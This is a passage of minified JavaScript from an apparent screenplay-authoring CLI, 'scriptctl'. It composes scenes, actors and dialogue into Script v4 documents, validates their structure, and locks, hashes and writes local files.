o=Ru(e,n),i=q(o?.description);return(!o||!i)&&Ae(`${t}/${n} is a new variant and requires a readable assets declaration with a self-contained description.`),o}function a_(e,t){let n=q(t?.name);return n&&!["default","\u9ED8\u8BA4"].includes(lt(n))?n:e==="actors"?"\u57FA\u7840\u9020\u578B":e==="locations"?"\u5E38\u89C4\u5E03\u7F6E":"\u57FA\u7840\u5916\u89C2"}function c_(e,t,n,o,i,r){let s=Ou(t,n,o);s||Ae(`${o} is not an existing ${n} asset and has no readable declaration.`);let c=q(s.name,o),a=vu(s.variants),d=Ru(s,"\u9ED8\u8BA4")??a[0]??null;n==="actors"&&!q(s.description)&&Ae(`${c} requires an identity description separate from its appearance variants.`),n==="actors"&&!q(d?.description)&&Ae(`${c} requires its first variant to provide a self-contained base appearance description.`);let p=[{state_id:"default",state_name:a_(n,d),description:q(d?.description,q(s.description,`${c}\u7684\u57FA\u7840\u53C2\u8003\u5916\u89C2\u3002`))}];for(let u of a){let y=q(u.name);if(u===d||!y||["default","\u9ED8\u8BA4"].includes(lt(y)))continue;let m=go("state",`${n}:${c}:${y}`,i);p.push({state_id:m,state_name:y,description:q(Mu(s,c,y).description)}),r.states.push(`${c}/${y}`)}let l={aliases:Array.isArray(s.aliases)?[...new Set(s.aliases.map(u=>q(u)).filter(u=>u&&u!==c))]:[],importance:s.importance==="background"?"background":"featured",description:q(s.description,`${c}\u7684\u57FA\u7840\u8BBE\u5B9A\u3002`),states:p};if(n==="actors"){let u={...l,actor_id:go("actor",c,i),actor_name:c,...s.roleType==="\u4E3B\u89D2"||s.roleType==="\u914D\u89D2"?{role_type:s.roleType}:{}};return e.actors.push(u),r.actors.push(c),u}if(n==="locations"){let u={...l,location_id:go("location",c,i),location_name:c};return e.locations.push(u),r.locations.push(c),u}let f={...l,prop_id:go("prop",c,i),prop_name:c};return e.props.push(f),r.props.push(c),f}function Ts(e,t,n,o,i,r){let s=q(o);s||Ae(`${n} reference requires a readable name.`);let c=lt(s);return r_(e,n).find(d=>s_(n,d).includes(c))??c_(e,t,n,s,i,r)}function br(e,t,n,o,i,r){let s=q(t,"\u9ED8\u8BA4"),c=lt(s),a=e.states.find(u=>lt(u.state_name)===c||u.state_id==="default"&&["default","\u9ED8\u8BA4"].includes(c));if(a)return a.state_id;let d="actor_name"in e?e.actor_name:"location_name"in e?e.location_name:e.prop_name,p=Ou(n,o,d),l=Mu(p,d,s),f={state_id:go("state",`${d}:${s}`,i),state_name:s,description:q(l.description)};return e.states.push(f),r.states.push(`${d}/${s}`),f.state_id}function ku(e,t){return e===void 0?[]:((!Array.isArray(e)||!e.every(Dn))&&Ae(`${t} must be an array of readable references.`),e)}function Cs(e,t,n){let o=structuredClone(e);for(let i of t){let r=o.find(s=>n(s)===n(i));r?r.state_ids=[...new Set([...r.state_ids,...i.state_ids])].sort():o.push(structuredClone(i))}return o}function d_(e,t){return!!(e&&e.location?.location_id&&t.location?.location_id&&e.location.location_id===t.location.location_id&&q(e.environment?.space)===q(t.environment?.space)&&q(e.environment?.time)===q(t.environment?.time))}function p_(e,t,n,o,i,r,s,c){(!Array.isArray(e)||e.length===0||!e.every(Dn))&&Ae("scene.actions must contain at least one readable Action.");let a=structuredClone(o),d=r;return{actions:e.map((l,f)=>{let u=q(l.type,"action");["action","transition","dialogue","inner_thought"].includes(u)||Ae(`Action ${f+1} has an unsupported type.`,[u]);let y=q(l.content);y||Ae(`Action ${f+1} has empty content.`);let m=Math.max(400,Math.min(8e3,Math.round(Number(l.durationMs)||Number(l.weight||1)*1200))),g=Zw(l.extensions);g.timestamp=e_(d),g.duration_ms=m,g.rewrite_duration_ms!==void 0&&(g.rewrite_duration_ms=m);let w={action_id:go("action",`${i}:${f+1}:${y}`,s),type:u,content:y,extend:g};if(d+=m,u==="action"||u==="transition")return w;let h=q(l.speaker);h||Ae(`Action ${f+1} requires a speaker.`);let _=h.replace(/[.*+?^${}()|[\]\\]/gu,"\\$&");new RegExp(`^${_}\\s*[:\uFF1A]`,"iu").test(y)&&Ae(`Action ${f+1} repeats the speaker name in dialogue content.`),/^(?:“[^”]+”|「[^」]+」|『[^』]+』|"[^"]+")$/u.test(y)&&Ae(`Action ${f+1} wraps dialogue content in quotation marks.`);let x=lt(h);if(["\u65C1\u767D","narrator"].includes(x))return{...w,speaker:{kind:"broadcast",label:"\u65C1\u767D"},...q(l.parenthetical)?{parenthetical:q(l.parenthetical)}:{}};if(["\u753B\u5916\u97F3","offscreen"].includes(x))return{...w,speaker:{kind:"offscreen",label:"\u753B\u5916\u97F3"},...q(l.parenthetical)?{parenthetical:q(l.parenthetical)}:{}};let E=Ts(t,n,"actors",h,s,c),A=q(l.speakerVariant),k=a.find(M=>M.actor_id===E.actor_id),N;if(A)N=br(E,A,n,"actors",s,c),k?k.state_ids=[...new Set([...k.state_ids,N])].sort():a.push({actor_id:E.actor_id,state_ids:[N]});else if(!k){let M=br(E,"\u9ED8\u8BA4",n,"actors",s,c);a.push({actor_id:E.actor_id,state_ids:[M]})}return{...w,speaker:{actor_id:E.actor_id,...N?{state_id:N}:{}},...q(l.parenthetical)?{parenthetical:q(l.parenthetical)}:{}}}),actorRefs:a}}function Lu(e,t){(!Dn(t)||t.version!==1)&&Ae("Creative draft version must be 1."),(!Dn(t.episode)||!Dn(t.scene))&&Ae("Creative draft requires episode and scene objects.");let n=structuredClone(t),o=n.episode,i=n.scene,r=structuredClone(e),s=Ww(r),c={actors:[],locations:[],props:[],states:[]},a=qw(o.number,"episode.number");a>r.episodes.length+1&&Ae("Episodes must be composed in order.",[a]);let d=r.episodes[a-1];d?(q(d.title)||(d.title=q(o.title,`\u7B2C ${a} \u96C6`)),q(d.synopsis)||(d.synopsis=q(o.synopsis,`\u7B2C ${a} \u96C6\u5267\u60C5\u3002`))):(d={episode_id:go("episode",`episode:${a}`,s),title:q(o.title,`\u7B2C ${a} \u96C6`),synopsis:q(o.synopsis,`\u7B2C ${a} \u96C6\u5267\u60C5\u3002`),scenes:[]},r.episodes.push(d));let p=Ts(r,n,"locations",i.location,s,c),l=br(p,i.locationVariant,n,"locations",s,c),f=ku(i.actors,"scene.actors").map(I=>{let O=Ts(r,n,"actors",I.name,s,c);return{actor_id:O.actor_id,state_ids:[br(O,I.variant,n,"actors",s,c)]}}),u=Cs([],f,I=>I.actor_id),y=ku(i.props,"scene.props").map(I=>{let O=Ts(r,n,"props",I.name,s,c);return{prop_id:O.prop_id,state_ids:[br(O,I.variant,n,"props",s,c)]}}),m=Cs([],y,I=>I.prop_id),g=d.scenes.at(-1),w={scene_id:go("scene",`episode:${a}:scene:${d.scenes.length+1}:${q(i.title)}`,s),environment:{space:q(i.space,"interior"),time:q(i.time,"day")},location:{location_id:p.location_id,state_ids:[l]},actors:u,props:m,actions:[],extend:{scene_title:q(i.title,`\u7B2C ${d.scenes.length+1} \u573A`)}},h=q(i.boundary,"auto");["auto","new","continue"].includes(h)||Ae("scene.boundary must be auto, new, or continue.");let _=d_(g,w);h==="continue"&&!_&&Ae("scene.boundary=continue requires the same location, space, and time as the previous scene.");let x=h!=="new"&&_,E=x&&g?g:w,A=x?d.scenes.length:d.scenes.length+1,k=Cs(E.actors,w.actors,I=>I.actor_id),N=p_(i.actions,r,n,k,E.scene_id,n_(d),s,c);E.actors=N.actorRefs,E.props=Cs(E.props,w.props,I=>I.prop_id),E.location&&w.location&&(E.location.state_ids=[...new Set([...E.location.state_ids,...w.location.state_ids])].sort()),E.actions.push(...N.actions),x||d.scenes.push(E);let M=Pe(r);return M.ok||Ae("Composed screenplay does not pass Script v4 validation.",M.errors.slice(0,12).map(I=>`${I.path}: ${I.message}`)),{script:r,validation:M,episodeNumber:a,sceneNumber:A,sceneId:E.scene_id,actionIds:N.actions.map(I=>I.action_id),joinedPreviousScene:x,created:c}}function Qe(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}function wn(e,t){return e[t]===void 0||typeof e[t]=="string"}function Vc(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(Vc):Qe(e)&&Object.values(e).every(Vc)}function $i(e){return e.extend===void 0||Qe(e.extend)&&Object.values(e.extend).every(Vc)}function $c(e){return e==="default"||V("state",e)}function l_(e){return Qe(e)&&$c(e.state_id)&&typeof e.state_name=="string"&&typeof e.description=="string"&&$i(e)}function Dc(e){return typeof e.importance=="string"&&Pt.has(e.importance)&&typeof e.description=="string"&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&Array.isArray(e.states)&&e.states.every(l_)&&$i(e)}function u_(e){return Qe(e)&&V("actor",e.actor_id)&&typeof e.actor_name=="string"&&(e.role_type===void 0||typeof e.role_type=="string"&&fo.has(e.role_type))&&Dc(e)}function f_(e){return Qe(e)&&V("location",e.location_id)&&typeof e.location_name=="string"&&Dc(e)}function m_(e){return Qe(e)&&V("prop",e.prop_id)&&typeof e.prop_name=="string"&&Dc(e)}function Gc(e){return Array.isArray(e)&&e.every($c)}function g_(e){return Qe(e)&&V("actor",e.actor_id)&&Gc(e.state_ids)}function h_(e){return Qe(e)&&V("location",e.location_id)&&Gc(e.state_ids)}function y_(e){return Qe(e)&&V("prop",e.prop_id)&&Gc(e.state_ids)}function w_(e){return V("actor",e.actor_id)&&(e.state_id===void 0||$c(e.state_id))}function __(e){return typeof e.kind=="string"&&Yo.has(e.kind)&&wn(e,"label")}function E_(e){return!(!Qe(e)||!V("action",e.action_id)||typeof e.type!="string"||!qt.has(e.type)||typeof e.content!="string"||!wn(e,"parenthetical")||!$i(e)||(e.type==="dialogue"||e.type==="inner_thought")&&(!Qe(e.speaker)||!w_(e.speaker)&&!__(e.speaker))||e.transition_prompt!==void 0&&(!Qe(e.transition_prompt)||!V("actor",e.transition_prompt.target)&&!V("location",e.transition_prompt.target)&&!V("prop",e.transition_prompt.target)||typeof e.transition_prompt.process!="string"||typeof e.transition_prompt.contrast!="string"))}function x_(e){return!(!Qe(e)||!V("scene",e.scene_id)||!Array.isArray(e.actors)||!e.actors.every(g_)||!Array.isArray(e.props)||!e.props.every(y_)||!Array.isArray(e.actions)||!e.actions.every(E_)||!$i(e)||e.location!==null&&!h_(e.location)||e.environment!==void 0&&(!Qe(e.environment)||!wn(e.environment,"space")||!wn(e.environment,"time")))}function S_(e){return Qe(e)&&V("episode",e.episode_id)&&wn(e,"title")&&wn(e,"synopsis")&&Array.isArray(e.scenes)&&e.scenes.every(x_)&&$i(e)}function I_(e){return Qe(e)&&e.version===4&&typeof e.title=="string"&&typeof e.worldview=="string"&&typeof e.style=="string"&&wn(e,"worldview_raw")&&wn(e,"synopsis")&&wn(e,"logline")&&wn(e,"theme")&&(e.main_characters===void 0||Array.isArray(e.main_characters)&&e.main_characters.every(t=>Qe(t)&&typeof t.name=="string"&&typeof t.role=="string"))&&Array.isArray(e.actors)&&e.actors.every(u_)&&Array.isArray(e.locations)&&e.locations.every(f_)&&Array.isArray(e.props)&&e.props.every(m_)&&Array.isArray(e.episodes)&&e.episodes.every(S_)&&$i(e)}function Di(e){let t=Pe(e);if(t.ok)return e;throw new S("The local file is not a valid Script v4 document.",{exitCode:b,errorCode:"SCRIPT_V4_INVALID",hint:"Run `scriptctl validate --script-path <path>` and repair the reported v4 fields.",data:{expected:["A valid Script v4 document"],actual:t.errors.slice(0,20).map(n=>`${n.path}: ${n.message}`)}})}function _n(e){if(I_(e))return e;throw new S("The local file is not a structurally readable Script v4 document.",{exitCode:b,errorCode:"SCRIPT_V4_SHAPE_INVALID",hint:"Repair the local Script v4 structure, then rerun the command.",data:{expected:["Script v4 with typed assets, episodes, scenes, references, and actions"],actual:[Array.isArray(e)?"array":typeof e]}})}import*as vr from"node:crypto";import*as $e from"node:fs";import*as Ct from"node:path";import A_ from"proper-lockfile";function Jc(e){if(Array.isArray(e))return e.map(Jc);if(e!==null&&typeof e=="object"){let t=e,n={};for(let o of Object.keys(t).sort())n[o]=Jc(t[o]);return n}return e}function Je(e){let t=JSON.stringify(Jc(e));return`sha256:${vr.createHash("sha256").update(t).digest("hex")}`}function Or(e){return $e.existsSync(e)?`sha256:${vr.createHash("sha256").update($e.readFileSync(e)).digest("hex")}`:null}function Rr(e,t){let n=Or(e);if(n!==t)throw new S("The local script changed while the command was running.",{exitCode:b,errorCode:"LOCAL_SCRIPT_CHANGED",hint:"Read the latest local script and retry the command.",data:{actual:[`loadedFingerprint=${t??"<missing>"}`,`currentFingerprint=${n??"<missing>"}`,e]}})}function Mr(e){let t=Ct.resolve(e),n=Ct.join(Ct.dirname(t),".scriptctl"),o=Ct.basename(t);return{scriptPath:t,stateDir:n,metadataPath:Ct.join(n,`${o}.working-copy.json`),lockPath:Ct.join(n,o)}}async function Vs(e,t){let n=Mr(e);$e.mkdirSync(n.stateDir,{recursive:!0});let o=null;try{o=await A_.lock(n.lockPath,{realpath:!1,stale:12e4,update:1e4,retries:{retries:260,factor:1,minTimeout:500,maxTimeout:500}})}catch(i){throw new S("Timed out waiting for the script file lock.",{exitCode:X,errorCode:"WORKING_COPY_LOCK_TIMEOUT",hint:"Wait for the other scriptctl command to finish, then retry.",data:{actual:[n.scriptPath,i instanceof Error?i.message:String(i)]}})}try{return await t()}finally{await o()}}function Fe(e,t){$s(e,`${JSON.stringify(t,null,2)}
123
+ `)}function $s(e,t){let n=Ct.dirname(e);$e.mkdirSync(n,{recursive:!0});let o=Ct.join(n,`.${Ct.basename(e)}.${process.pid}.${vr.randomUUID()}.tmp`),i=$e.openSync(o,"wx");try{$e.writeFileSync(i,t,"utf-8"),$e.fsyncSync(i)}finally{$e.closeSync(i)}$e.renameSync(o,e)}function Ds(e){let t=Mr(e).metadataPath;if(!$e.existsSync(t))return null;let n;try{n=JSON.parse($e.readFileSync(t,"utf-8"))}catch(i){throw Bc(t,i instanceof Error?i.message:String(i))}if(n===null||typeof n!="object"||Array.isArray(n))throw Bc(t,"metadata root must be an object");let o=n;if(o.schemaVersion!==1||typeof o.projectGroupNo!="string"||o.projectGroupNo.length===0||typeof o.apiBaseUrl!="string"||o.apiBaseUrl.length===0||!Number.isInteger(o.baseRevision)||Number(o.baseRevision)<0||typeof o.baseContentHash!="string"||!o.baseContentHash.startsWith("sha256:"))throw Bc(t,"required fields are missing or invalid");return{schemaVersion:1,projectGroupNo:o.projectGroupNo,apiBaseUrl:o.apiBaseUrl,baseRevision:Number(o.baseRevision),baseContentHash:o.baseContentHash}}function Gs(e,t){Fe(Mr(e).metadataPath,t)}function Bc(e,t){return new S("Working copy metadata is invalid.",{exitCode:b,errorCode:"WORKING_COPY_METADATA_INVALID",hint:"Run `scriptctl checkout --discard-local` to recreate the working copy metadata.",data:{expected:["valid scriptctl working-copy metadata"],actual:[e,t]}})}function Gt(e,t){let n;try{n=JSON.parse($e.readFileSync(e,"utf-8"))}catch(i){throw new S("The local script changed while the command was running.",{exitCode:b,errorCode:"LOCAL_SCRIPT_CHANGED",hint:"Read the latest local script and re-apply the operation.",data:{actual:[e,i instanceof Error?i.message:String(i)]}})}let o=Je(n);if(o!==t)throw new S("The local script changed while the command was running.",{exitCode:b,errorCode:"LOCAL_SCRIPT_CHANGED",hint:"Read the latest local script and re-apply the operation.",data:{actual:[`loadedHash=${t}`,`currentHash=${o}`,e]}})}function v(e){return e==null?"":String(e)}function oe(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Gn(e){return Array.isArray(e)}function re(e){return Array.isArray(e)?e:[]}function Kc(e,t=[]){throw new S(e,{exitCode:B,errorCode:"CREATIVE_DRAFT_USAGE_INVALID",hint:"Run `scriptctl authoring compose <draft.json> --script-path <script.json>` and apply the returned plan digest.",data:{actual:t}})}function Nu(e,t){let n=Cu.resolve(e),o;try{o=Pu.readFileSync(n)}catch{throw new S(`${t} does not exist.`,{exitCode:b,errorCode:"CREATIVE_DRAFT_SOURCE_UNAVAILABLE",data:{actual:[n]}})}try{return{path:n,bytes:o,value:JSON.parse(o.toString("utf-8"))}}catch(i){throw new S(`${t} is not valid JSON.`,{exitCode:b,errorCode:"CREATIVE_DRAFT_JSON_INVALID",data:{actual:[n,i instanceof Error?i.message:String(i)]}})}}function Tu(e){let t=Array.isArray(e._args)?e._args:[],n=typeof t[0]=="string"?t[0]:"";(!n||n==="-")&&Kc("Creative draft input must be a named JSON file.",[n||"<missing>"]);let o=Nu(n,"The creative draft"),i=me(e),r=Nu(i,"The target Script v4 file"),s=_n(r.value),c=Je(s),a=Lu(s,o.value),d=`sha256:${Uu.createHash("sha256").update(o.bytes).digest("hex")}`,p={version:1,op:"compose",sourceDigest:d,baseline:c,proposed:Je(a.script),episodeNumber:a.episodeNumber,sceneNumber:a.sceneNumber,sceneId:a.sceneId,actionIds:a.actionIds,joinedPreviousScene:a.joinedPreviousScene,created:a.created},l=`sha256:${_e(JSON.stringify(p))}`,f=e.apply===!0,u=v(e.plan).trim();if(f&&!u&&Kc("--apply requires the exact digest returned by the current plan.",["plan=<missing>"]),!f&&u&&Kc("--plan is only valid together with --apply.",[`plan=${u}`]),f&&u!==l)throw new S("The supplied plan does not match the current draft or script baseline.",{exitCode:b,errorCode:"CREATIVE_DRAFT_PLAN_MISMATCH",hint:"Review the newly computed plan, then apply its exact digest.",data:{expected:[l],actual:[u]}});return f&&(Gt(i,c),Fe(i,a.script)),[{text:[`${f?"Applied":"Planned"} readable scene draft as episode ${a.episodeNumber}, scene ${a.sceneNumber}${a.joinedPreviousScene?" (joined previous scene)":""}`,`plan: ${l}`].join(`
124
+ `),data:{op:"compose",applied:f,source_path:o.path,source_digest:d,script_path:i,baseline:c,plan_digest:l,episode_number:a.episodeNumber,scene_number:a.sceneNumber,scene_id:a.sceneId,action_ids:a.actionIds,joined_previous_scene:a.joinedPreviousScene,created:a.created,validation:a.validation}},G]}import*as Hu from"node:fs";import*as Qu from"node:path";var Zt={line:1,column:1};function k_(e){let t=[];for(let n of e.actors){let o=structuredClone(n);o.states=[],t.push({declarationKind:"actor",value:o,source:Zt});for(let i of n.states)t.push(jc("actor",n.actor_id,i))}for(let n of e.locations){let o=structuredClone(n);o.states=[],t.push({declarationKind:"location",value:o,source:Zt});for(let i of n.states)t.push(jc("location",n.location_id,i))}for(let n of e.props){let o=structuredClone(n);o.states=[],t.push({declarationKind:"prop",value:o,source:Zt});for(let i of n.states)t.push(jc("prop",n.prop_id,i))}return t}function jc(e,t,n){return{declarationKind:"state",ownerKind:e,ownerId:t,value:structuredClone(n),source:Zt}}function Vu(e){let t={kind:"script",title:e.title,worldview:e.worldview,style:e.style,episodes:structuredClone(e.episodes),source:Zt};return e.worldview_raw!==void 0&&(t.worldviewRaw=e.worldview_raw),e.synopsis!==void 0&&(t.synopsis=e.synopsis),e.logline!==void 0&&(t.logline=e.logline),e.theme!==void 0&&(t.theme=e.theme),e.main_characters!==void 0&&(t.mainCharacters=structuredClone(e.main_characters)),e.extend!==void 0&&(t.extend=structuredClone(e.extend)),{version:1,declarations:k_(e),targets:[t],targetKind:"script"}}function Gi(e,t){return{version:1,declarations:[],targets:t,targetKind:e}}function b_(e){return e.replace(/\\/g,"\\\\").replace(/\|/g,"\\|").replace(/\]/g,"\\]").replace(/\n/g,"\\n")}function v_(e){return e.replace(/\\/g,"\\\\").replace(/\n/g,"\\n")}function ue(e,t,n){let o=[e,...t].map(b_).join("|"),i=v_(n);return`[${o}]${i.length>0?` ${i}`:""}`}function Hc(e){if(Array.isArray(e))return e.map(Hc);if(e!==null&&typeof e=="object"){let t={};for(let n of Object.keys(e).sort())t[n]=Hc(e[n]);return t}return e}function Bn(e){return e===void 0?[]:[ue("extensions",[],""),...Object.keys(e).sort().map(t=>ue("extend",[t],JSON.stringify(Hc(e[t]))))]}function O_(e){return"actor_id"in e?e.state_id===void 0?e.actor_id:`${e.actor_id}/${e.state_id}`:e.label===void 0?e.kind:`${e.kind}:${e.label}`}function $u(e){let t=Bn(e.extend);if(e.transition_prompt!==void 0&&t.push(ue("prompt",[e.transition_prompt.target,e.transition_prompt.process,e.transition_prompt.contrast],"")),e.type==="dialogue"||e.type==="inner_thought"){let o=e.type==="dialogue"?"dlg":"think",i=[O_(e.speaker)];return e.emotion!==void 0&&i.push(e.emotion),t.push(ue(o,i,e.content)),t}let n=e.type==="action"?"act":"trans";return t.push(ue(n,e.emotion===void 0?[]:[e.emotion],e.content)),t}function Qc(e,t){let n=[...Bn(e.extend),`<scene ${t}>`];if(e.environment!==void 0&&(e.environment.time!==void 0?n.push(ue("environment",[e.environment.space??"",e.environment.time],"")):e.environment.space!==void 0?n.push(ue("environment",[e.environment.space],"")):n.push(ue("environment",[],""))),e.location===null)n.push(ue("location",[],""));else{let o=[e.location.location_id];e.location.state_id!==void 0&&o.push(e.location.state_id),n.push(ue("location",o,""))}for(let o of e.actors){let i=[o.actor_id];o.state_id!==void 0&&i.push(o.state_id),n.push(ue("cast",i,""))}for(let o of e.props){let i=[o.prop_id];o.state_id!==void 0&&i.push(o.state_id),n.push(ue("prop",i,""))}n.push("","<body>");for(let o of e.actions)n.push(...$u(o));return n.push("</body>","","</scene>"),n}function zc(e){let t=[...Bn(e.extend),`<episode id=${e.episode_id}>`];return e.title!==void 0&&t.push(ue("title",[],e.title)),e.synopsis!==void 0&&t.push(ue("synopsis",[],e.synopsis)),(e.title!==void 0||e.synopsis!==void 0)&&e.scenes.length>0&&t.push(""),e.scenes.forEach((n,o)=>{t.push(...Qc(n,`id=${n.scene_id}`)),o<e.scenes.length-1&&t.push("")}),t.push("</episode>"),t}function R_(e){if(e.declarationKind==="state")return M_(e.ownerKind,e.ownerId,e.value);let t=e.value,n=Bn(t.extend);t.aliases!==void 0&&n.push(ue("aliases",[],""));for(let o of t.aliases??[])n.push(ue("alias",[],o));if(e.declarationKind==="actor"){let o=e.value,i=[o.actor_id,o.actor_name,o.importance];o.role_type!==void 0&&i.push(o.role_type),n.push(ue("actor",i,o.description))}else if(e.declarationKind==="location"){let o=e.value;n.push(ue("location",[o.location_id,o.location_name,o.importance],o.description))}else{let o=e.value;n.push(ue("prop",[o.prop_id,o.prop_name,o.importance],o.description))}return n}function M_(e,t,n){return[...Bn(n.extend),ue("state",[`${e}:${t}`,n.state_id,n.state_name],n.description)]}function L_(e){switch(e.kind){case"script":{let t=[...Bn(e.extend),"<script>"];if(t.push(ue("title",[],e.title)),t.push(ue("worldview",[],e.worldview)),e.worldviewRaw!==void 0&&t.push(ue("worldview-raw",[],e.worldviewRaw)),t.push(ue("style",[],e.style)),e.synopsis!==void 0&&t.push(ue("synopsis",[],e.synopsis)),e.logline!==void 0&&t.push(ue("logline",[],e.logline)),e.theme!==void 0&&t.push(ue("theme",[],e.theme)),e.mainCharacters!==void 0){t.push(ue("main-characters",[],""));for(let n of e.mainCharacters)t.push(ue("main-character",[n.name,n.role],""))}return e.episodes.length>0&&t.push(""),e.episodes.forEach((n,o)=>{t.push(...zc(n)),o<e.episodes.length-1&&t.push("")}),t.push("</script>"),t}case"episode":return zc(e.value);case"episode-span":{let t=[...Bn(e.extend),`<episode-span from=${e.from} through=${e.through}>`];return e.episodes.forEach((n,o)=>{t.push(...zc(n)),o<e.episodes.length-1&&t.push("")}),t.push("</episode-span>"),t}case"scene":return Qc(e.value,`id=${e.value.scene_id} parent=${e.parent}`);case"scene-span":{let t=[...Bn(e.extend),`<scene-span parent=${e.parent} from=${e.from} through=${e.through}>`];return e.scenes.forEach((n,o)=>{t.push(...Qc(n,`id=${n.scene_id}`)),o<e.scenes.length-1&&t.push("")}),t.push("</scene-span>"),t}case"action-span":{let t=[...Bn(e.extend),`<action-span parent=${e.parent} from=${e.from} through=${e.through}>`,"<body>"];for(let n of e.actions)t.push(...$u(n));return t.push("</body>","</action-span>"),t}}}function Du(e){let t=["<authoring version=1>",""];if(e.declarations.length>0){t.push("<create>");for(let n of e.declarations)t.push(...R_(n));t.push("</create>","")}return e.targets.forEach((n,o)=>{t.push(...L_(n)),o<e.targets.length-1&&t.push("")}),t.push("","</authoring>"),`${t.join(`
125
125
  `)}
126
- `}function Ye(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}function _t(e,t){return e[t]===void 0||typeof e[t]=="string"}function Yc(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(Yc):Ye(e)&&Object.values(e).every(Yc)}function yo(e){return e.extend===void 0||Ye(e.extend)&&Object.values(e.extend).every(Yc)}function qc(e){return Ye(e)&&typeof e.state_id=="string"&&typeof e.state_name=="string"&&typeof e.description=="string"&&yo(e)}function U_(e){return Ye(e)&&typeof e.actor_id=="string"&&typeof e.actor_name=="string"&&typeof e.description=="string"&&typeof e.importance=="string"&&Pt.has(e.importance)&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&(e.role_type===void 0||e.role_type==="\u4E3B\u89D2"||e.role_type==="\u914D\u89D2")&&Array.isArray(e.states)&&e.states.every(qc)&&yo(e)}function P_(e){return Ye(e)&&typeof e.location_id=="string"&&typeof e.location_name=="string"&&typeof e.description=="string"&&typeof e.importance=="string"&&Pt.has(e.importance)&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&Array.isArray(e.states)&&e.states.every(qc)&&yo(e)}function C_(e){return Ye(e)&&typeof e.prop_id=="string"&&typeof e.prop_name=="string"&&typeof e.description=="string"&&typeof e.importance=="string"&&Pt.has(e.importance)&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&Array.isArray(e.states)&&e.states.every(qc)&&yo(e)}function T_(e){if(!Ye(e)||typeof e.type!="string"||!qt.has(e.type)||typeof e.content!="string"||!_t(e,"emotion"))return!1;if(e.speaker!==void 0){if(!Ye(e.speaker))return!1;if(typeof e.speaker.actor_id=="string"){if(!_t(e.speaker,"state_id"))return!1}else if(typeof e.speaker.kind=="string"){if(!qo.has(e.speaker.kind)||!_t(e.speaker,"label"))return!1}else return!1}return e.transition_prompt!==void 0&&(!Ye(e.transition_prompt)||typeof e.transition_prompt.target!="string"||typeof e.transition_prompt.process!="string"||typeof e.transition_prompt.contrast!="string")?!1:yo(e)}function V_(e){return!Ye(e)||typeof e.scene_id!="string"||!Array.isArray(e.actors)||!Array.isArray(e.props)||!Array.isArray(e.actions)||!e.actions.every(T_)||!e.actors.every(t=>Ye(t)&&typeof t.actor_id=="string"&&_t(t,"state_id"))||!e.props.every(t=>Ye(t)&&typeof t.prop_id=="string"&&_t(t,"state_id"))||e.location!==null&&(!Ye(e.location)||typeof e.location.location_id!="string"||!_t(e.location,"state_id"))||e.environment!==void 0&&(!Ye(e.environment)||!_t(e.environment,"space")||!_t(e.environment,"time"))?!1:yo(e)}function $_(e){return Ye(e)&&typeof e.episode_id=="string"&&_t(e,"title")&&_t(e,"synopsis")&&Array.isArray(e.scenes)&&e.scenes.every(V_)&&yo(e)}function D_(e){return Ye(e)&&e.version===3&&typeof e.title=="string"&&typeof e.worldview=="string"&&typeof e.style=="string"&&_t(e,"worldview_raw")&&_t(e,"synopsis")&&_t(e,"logline")&&_t(e,"theme")&&(e.main_characters===void 0||Array.isArray(e.main_characters)&&e.main_characters.every(t=>Ye(t)&&typeof t.name=="string"&&typeof t.role=="string"))&&Array.isArray(e.actors)&&e.actors.every(U_)&&Array.isArray(e.locations)&&e.locations.every(P_)&&Array.isArray(e.props)&&e.props.every(C_)&&Array.isArray(e.episodes)&&e.episodes.every($_)&&yo(e)}function Tt(e){if(D_(e))return e;throw new S("The local file is not a structurally readable Script v3 document.",{exitCode:b,errorCode:"SCRIPT_V3_SHAPE_INVALID",hint:"Repair the local Script v3 structure, then rerun authoring.",data:{expected:["Script v3 with typed assets, episodes, scenes, and actions"],actual:[Array.isArray(e)?"array":typeof e]}})}var Zc=[3,4],G_={3:{version:3,require:Tt,requireStructurallyReadable:Tt,validate:wt},4:{version:4,require:Gi,requireStructurallyReadable:_n,validate:Pe}};function wo(e){return typeof e=="number"&&Zc.some(t=>t===e)}function Wo(e){if(typeof e!="object"||e===null||Array.isArray(e))throw new S("script.json must be an object with an explicit version.",{exitCode:b,errorCode:"SCRIPT_VERSION_MISSING",data:{expected:["version: 3 or version: 4"],actual:[Array.isArray(e)?"array":typeof e]}});let t=e.version;if(wo(t))return t;throw new S("script.json must declare version 3 or version 4.",{exitCode:b,errorCode:t===void 0?"SCRIPT_VERSION_MISSING":"SCRIPT_VERSION_UNSUPPORTED",hint:"Use an explicit supported script version; scriptctl does not infer a version from document shape.",data:{expected:["version: 3 or version: 4"],actual:[String(t)]}})}function Wc(e){return G_[Wo(e)]}function Ks(e){return Wc(e).require(e)}function js(e){return Wc(e).requireStructurallyReadable(e)}function Ur(e){return Wc(e).validate(e)}function zs(e){throw new S("Use a bare typed v4 ID or asset/state address.",{exitCode:B,errorCode:"V4_ADDRESS_INVALID",data:{expected:["ep\u2026 | scn\u2026 | ac\u2026 | act\u2026 | loc\u2026 | prp\u2026 | asset_id/state_id"],actual:[e||"<empty>"]}})}function Pr(e){let t=typeof e=="string"?e.trim():"",n=t.indexOf("/");if(n>=0){n!==t.lastIndexOf("/")&&zs(t);let o=t.slice(0,n),i=t.slice(n+1);return i!=="default"&&!V("state",i)&&zs(t),V("actor",o)?{kind:"state",assetKind:"actor",assetId:o,stateId:i}:V("location",o)?{kind:"state",assetKind:"location",assetId:o,stateId:i}:V("prop",o)?{kind:"state",assetKind:"prop",assetId:o,stateId:i}:zs(t)}return 